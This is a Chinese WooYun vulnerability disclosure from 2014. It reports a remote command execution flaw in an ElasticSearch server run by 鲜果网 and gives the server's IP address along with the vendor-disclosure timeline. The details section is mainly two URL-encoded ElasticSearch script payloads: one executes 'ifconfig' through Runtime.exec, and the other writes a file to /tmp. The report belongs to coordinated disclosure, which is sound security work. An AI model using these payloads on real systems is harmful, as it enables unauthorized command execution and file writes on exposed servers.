[公开漏洞]鲜果网某服务器ElasticSearch命令执行漏洞

来源：WooYun　浏览：669次　时间：2014-07-11

鲜果网某服务器ElasticSearch命令执行漏洞相关厂商：鲜果网漏洞作者：cmd 提交时间：2014-05-27 12:31 公开时间：2014-07-11 12:32 漏洞类型：命令执行危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：无漏洞详情披露状态：

2014-05-27：细节已通知厂商并且等待厂商处理中
2014-05-27：厂商已经确认，细节仅向厂商公开
2014-06-06：细节向核心白帽子及相关领域专家公开
2014-06-16：细节向普通白帽子公开
2014-06-26：细节向实习白帽子公开
2014-07-11：细节向公众公开

简要描述：

鲜果网某服务器ElasticSearch命令执行漏洞

详细说明：

211.151.83.25

ElasticSearch存在命令执行漏洞

执行命令代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}

写文件代码

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

漏洞证明：